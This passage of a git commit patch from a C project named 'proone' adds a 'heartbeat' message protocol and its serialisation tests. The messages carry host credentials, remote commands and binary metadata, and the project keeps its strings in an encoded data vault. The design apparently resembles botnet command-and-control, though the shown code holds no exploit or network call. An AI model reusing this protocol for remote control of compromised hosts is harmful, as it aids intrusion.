From 99214f49b4397886abd2bb69de598b56d1be72d9 Mon Sep 17 00:00:00 2001 From: David Timber Date: Tue, 3 Mar 2020 20:43:55 +1100 Subject: htbt protocol prototype ... * gen `PRNE_BUILD_ENTROPY` on configure * `PRNE_PROG_VER` bin str -> arr str * added null checked str func `prne_nstreq()`, `prne_nstrlen()` * preserve `errno` in signal handlers --- src/Makefile.am | 8 +- src/config.c | 2 + src/config.h | 4 +- src/data.c | 4 - src/data.h | 2 - src/dvault.c | 4 +- src/proone-test_proto.c | 261 +++++++++++++++ src/proone.c | 127 +++++--- src/proone.h | 12 +- src/protocol.c | 834 +++++++++++++++++++++++++++++++++++++++++++++++- src/protocol.h | 245 ++++++++++---- src/resolv_worker.c | 4 +- src/util_rt.c | 87 ++++- src/util_rt.h | 5 + 14 files changed, 1468 insertions(+), 131 deletions(-) create mode 100644 src/proone-test_proto.c (limited to 'src') diff --git a/src/Makefile.am b/src/Makefile.am index 5f3903e..33b7521 100644 --- a/src/Makefile.am +++ b/src/Makefile.am @@ -8,7 +8,7 @@ TARGET_FLAGS += -Os DEV_FLAGS += -Os endif -AM_CFLAGS = -std=c11 -pedantic -Wall -Wextra -Wno-switch -Wno-unused-parameter -D_GNU_SOURCE -DPRNE_BUILD_ENTROPY=\"`uuidgen -r`\" $(DEV_FLAGS) +AM_CFLAGS = -std=c11 -pedantic -Wall -Wextra -Wno-switch -Wno-unused-parameter -D_GNU_SOURCE $(DEV_FLAGS) noinst_LIBRARIES = libproone.a bin_PROGRAMS =\ @@ -21,6 +21,7 @@ bin_PROGRAMS =\ proone-resolv libproone_a_SOURCES =\ + config.c\ protocol.c\ pack.c\ dvault.c\ @@ -63,4 +64,9 @@ proone_resolv_LDFLAGS = $(LIBS) $(DEP_PKGCFG_LIBS) proone_resolv_SOURCES = proone-resolv.c if TESTS +bin_PROGRAMS += proone-test_proto + +proone_test_proto_LDADD = libproone.a +proone_test_proto_LDFLAGS = $(LIBS) $(DEP_PKGCFG_LIBS) +proone_test_proto_SOURCES = proone-test_proto.c endif diff --git a/src/config.c b/src/config.c index 9e16198..63b568b 100644 --- a/src/config.c +++ b/src/config.c @@ -1,6 +1,8 @@ #include "config.h" +const uint8_t PRNE_PROG_VER[16] = { 0x11, 0xf7, 0x6b, 0x87, 0x62, 0x1a, 0x47, 0x9c, 0xa2, 0x18, 0x5c, 0x55, 0x40, 0x33, 0x7c, 0x9f }; + const prne_arch_t prne_host_arch = #ifdef __GNUC__ #if defined(__ARM_ARCH_4T__) diff --git a/src/config.h b/src/config.h index 1590b6b..0482493 100644 --- a/src/config.h +++ b/src/config.h @@ -6,7 +6,5 @@ #include -// "11f76b87-621a-479c-a218-5c5540337c9f" -#define PRNE_PROG_VER "\x00\xA4\x00\x24\xC0\x3E\x60\xE6\x5E\xFB\x18\xB6\x17\xD5\x17\x9B\x57\xB5\x56\xA1\xFD\x53\x1A\x26\x19\x0A\xB8\x49\x14\x04\x85\x81\x35\xB9\xF2\x3F\x76\xA0\x6E\xD4" - +extern const uint8_t PRNE_PROG_VER[16]; extern const prne_arch_t prne_host_arch; diff --git a/src/data.c b/src/data.c index c3bcad1..a54772d 100644 --- a/src/data.c +++ b/src/data.c @@ -5,8 +5,4 @@ uint8_t *PRNE_DATA_DICT[NB_PRNE_DATA_KEY] = { // PRNE_DATA_KEY_PROC_LIM_SHM: "/31e4f17c-db76-4332-af48-fd9fb8453f8f" (uint8_t*)"\x00\x7F\x00\x25\x09\x24\x82\xC5\x8F\x65\xF8\x96\x35\x02\xF5\xAD\xC9\xF4\x83\x60\xD2\x33\x21\xB1\x3F\xCB\x8C\x8E\x4E\xF8\x18\xBE\x06\x33\xC5\xC4\x43\x7D\x2C\xA3\x7B", - // PRNE_DATA_KEY_SIGN_INIT_OK: "cd264451-2156-4e12-ae1c-89931878a54f" - (uint8_t*)"\x00\x37\x00\x24\x41\xEC\xB4\xD8\xF2\x70\xFE\x92\xC1\x6B\xBD\xB8\x49\x46\x3E\x58\x96\x5C\xB2\x4B\x1E\x23\x1E\x90\xC0\x2C\x95\xCA\xE8\x06\xC2\x00\x95\x58\x9F\x8F", - // PRNE_DATA_KEY_PROGRAM_VER - (uint8_t*)PRNE_PROG_VER, }; diff --git a/src/data.h b/src/data.h index 7afc8e6..ae6c260 100644 --- a/src/data.h +++ b/src/data.h @@ -6,8 +6,6 @@ typedef enum { PRNE_DATA_KEY_NONE = -1, PRNE_DATA_KEY_PROC_LIM_SHM, - PRNE_DATA_KEY_SIGN_INIT_OK, - PRNE_DATA_KEY_PROGRAM_VER, NB_PRNE_DATA_KEY } prne_data_key_t; diff --git a/src/dvault.c b/src/dvault.c index 270786f..57f15da 100644 --- a/src/dvault.c +++ b/src/dvault.c @@ -72,10 +72,10 @@ const char *prne_data_type_tostr (const prne_data_type_t t) { } prne_data_type_t prne_data_type_fstr (const char *str) { - if (strcmp(str, prne_data_type_tostr(PRNE_DATA_TYPE_CSTR)) == 0) { + if (prne_nstreq(str, prne_data_type_tostr(PRNE_DATA_TYPE_CSTR))) { return PRNE_DATA_TYPE_CSTR; } - if (strcmp(str, prne_data_type_tostr(PRNE_DATA_TYPE_BIN)) == 0) { + if (prne_nstreq(str, prne_data_type_tostr(PRNE_DATA_TYPE_BIN))) { return PRNE_DATA_TYPE_BIN; } diff --git a/src/proone-test_proto.c b/src/proone-test_proto.c new file mode 100644 index 0000000..b0f2345 --- /dev/null +++ b/src/proone-test_proto.c @@ -0,0 +1,261 @@ +#include "protocol.h" +#include "util_rt.h" +#include "config.h" +#include "dvault.h" + +#include +#include +#include +#include + + +static uint8_t proto_buf[PRNE_HTBT_PROTO_MIN_BUF]; +static size_t proto_buf_cnt_len; + +static void test_ser (void); + + +int main (void) { + // prne_arch_t string functions + for (prne_arch_t i = PRNE_ARCH_NONE + 1; i < NB_PRNE_ARCH; i += 1) { + assert(i == prne_arch_fstr(prne_arch_tostr(i))); + } + + test_ser(); + + return 0; +} + +static void test_ser (void) { + static size_t actual; + static char test_id[256]; + static char test_pw[256]; + static prne_htbt_msg_head_t mh_a, mh_b; + static prne_htbt_status_t s_a, s_b; + static prne_host_cred_t hc_a, hc_b; + static uint8_t salt; + static uint8_t *cred_data = NULL; + static size_t cred_data_len = 0; + static prne_htbt_host_info_t hi_a, hi_b; + static prne_htbt_cmd_t cmd_a, cmd_b; + static char *test_args[] = { + "sudo", + "systemctl", + "enable", + "--now", + "NetworkManager", + NULL + }; + static char test_args_mem[] = "\x00\x2Bsudo\0systemctl\0enable\0--now\0NetworkManager"; + static char *empty_args[] = { + NULL + }; + static char *long_args[] = { + "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", + "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", NULL + }; + static char *too_long_args[] = { + "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", + "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", NULL + }; + static char *long_mem_args[] = { + "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", + "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", + "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", + "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", + "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", + "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", + "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", + "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", + "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", + "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", + "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", NULL + }; + static char *too_long_mem_args[] = { + "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", + "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", + "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", + "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", + "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", + "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "1234567", "12345678", NULL + }; + static prne_htbt_bin_meta_t bm_a, bm_b; + + // init + for (size_t i = 0; i < 255; i += 1) { + test_id[i] = (char)(i + 1); + test_pw[254 - i] = (char)(i + 1); + } + test_pw[255] = test_id[255] = 0; + assert(strlen(test_id) == 255 && strlen(test_pw) == 255); + + assert(getrandom(&salt, 1, 0) == 1); + + // free functions should accept NULL + prne_htbt_free_msg_head(NULL); + prne_htbt_free_status(NULL); + prne_free_host_cred(NULL); + prne_htbt_free_host_info(NULL); + prne_htbt_free_cmd(NULL); + prne_htbt_free_bin_meta(NULL); + + // msg head + prne_htbt_init_msg_head(&mh_a); + prne_htbt_init_msg_head(&mh_b); + // normal NOOP case + // req + assert(prne_htbt_ser_msg_head(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &mh_a) == PRNE_HTBT_SER_RC_OK); + assert(proto_buf_cnt_len == 3 && memcmp("\x80\x00\x00", proto_buf, proto_buf_cnt_len) == 0); + assert(prne_htbt_dser_msg_head(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &mh_b) == PRNE_HTBT_SER_RC_OK); + assert(prne_htbt_eq_msg_head(&mh_a, &mh_b)); + // rsp + mh_a.is_rsp = true; + assert(prne_htbt_ser_msg_head(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &mh_a) == PRNE_HTBT_SER_RC_OK); + assert(proto_buf_cnt_len == 3 && memcmp("\x00\x00\x00", proto_buf, proto_buf_cnt_len) == 0); + assert(prne_htbt_dser_msg_head(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &mh_b) == PRNE_HTBT_SER_RC_OK); + assert(prne_htbt_eq_msg_head(&mh_a, &mh_b)); + // error cases + // using id other than 0 for NOOP should be an error + mh_a.id = 1; + mh_a.op = PRNE_HTBT_OP_NOOP; + assert(prne_htbt_ser_msg_head(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &mh_a) == PRNE_HTBT_SER_RC_FMT_ERR); + // using id 0 for OP other than NOOP should be an error + mh_a.id = 0; + mh_a.op = PRNE_HTBT_OP_HOST_INFO; + assert(prne_htbt_ser_msg_head(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &mh_a) == PRNE_HTBT_SER_RC_FMT_ERR); + // using id over 0x8000 should be an error + mh_a.id = 0x8000; + mh_a.op = PRNE_HTBT_OP_STATUS; + assert(prne_htbt_ser_msg_head(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &mh_a) == PRNE_HTBT_SER_RC_FMT_ERR); + // normal cases + mh_a.is_rsp = false; + mh_a.id = 0x1234; + mh_a.op = PRNE_HTBT_OP_STATUS; + assert(prne_htbt_ser_msg_head(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &mh_a) == PRNE_HTBT_SER_RC_OK); + assert(proto_buf_cnt_len == 3 && memcmp("\x92\x34\x01", proto_buf, proto_buf_cnt_len) == 0); + assert(prne_htbt_dser_msg_head(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &mh_b) == PRNE_HTBT_SER_RC_OK); + assert(prne_htbt_eq_msg_head(&mh_a, &mh_b)); + mh_a.is_rsp = true; + mh_a.id = 0x5678; + mh_a.op = PRNE_HTBT_OP_STATUS; + assert(prne_htbt_ser_msg_head(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &mh_a) == PRNE_HTBT_SER_RC_OK); + assert(proto_buf_cnt_len == 3 && memcmp("\x56\x78\x01", proto_buf, 